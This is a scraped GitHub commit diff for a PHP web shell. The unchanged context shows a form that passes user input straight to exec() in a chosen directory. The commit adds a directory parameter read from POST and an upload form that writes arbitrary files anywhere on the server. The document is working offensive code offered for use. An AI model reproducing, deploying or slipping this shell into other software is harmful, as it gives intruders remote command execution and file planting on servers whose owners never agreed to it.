File tree 1 file changed +22
-0
lines changed
1 file changed +22
-0
lines changed Original file line number Diff line number Diff line change @@ -63,6 +63,9 @@ function printPerms($file) {
63
63
64
64
65
65
$ dir = $ _GET ['dir ' ];
66
+ if (isset ($ _POST ['dir ' ])) {
67
+ $ dir = $ _POST ['dir ' ];
68
+ }
66
69
$ file = '' ;
67
70
if ($ dir == NULL or !is_dir ($ dir )) {
68
71
if (is_file ($ dir )) {
@@ -80,6 +83,25 @@ function printPerms($file) {
80
83
echo "<input type='hidden' name='dir' value= " .$ dir ." /> " ;
81
84
echo "<input type='text' name='cmd' autocomplete='off' autofocus> \n<input type='submit' value='Execute'> \n" ;
82
85
echo "</form> " ;
86
+ echo "\n<br> \n<div class='navbar-form'><form action=' " .$ _SERVER ['PHP_SELF ' ]."' method='POST' enctype='multipart/form-data'> \n" ;
87
+ echo "<input type='hidden' name='dir' value=' " .$ _GET ['dir ' ]."'/> " ;
88
+ echo "<input type='file' name='fileToUpload' id='fileToUpload'> \n<br><input type='submit' value='Upload File' name='submit'> " ;
89
+ echo "</div> " ;
90
+
91
+ if (isset ($ _POST ['submit ' ])) {
92
+ $ uploadDirectory = $ dir .'/ ' .basename ($ _FILES ['fileToUpload ' ]['name ' ]);
93
+ if (file_exists ($ uploadDirectory )) {
94
+ echo "<br><br><b style='color:red'>Error. File already exists in " .$ uploadDirectory .".</b></br></br> " ;
95
+ }
96
+ else if (move_uploaded_file ($ _FILES ['fileToUpload ' ]['tmp_name ' ], $ uploadDirectory )) {
97
+ echo '<br><br><b>File ' .$ _FILES ['fileToUpload ' ]['name ' ].' uploaded successfully in ' .$ dir .' !</b><br> ' ;
98
+ } else {
99
+ echo '<br><br><b style="color:red">Error uploading file ' .$ uploadDirectory .'</b><br><br> ' ;
100
+
101
+ }
102
+
103
+ }
104
+
83
105
if (isset ($ _GET ['cmd ' ])) {
84
106
echo "<br><br><b>Result of command execution: </b><br> " ;
85
107
exec ('cd ' .$ dir .' && ' .$ _GET ['cmd ' ], $ cmdresult );
You can’t perform that action at this time.
0 commit comments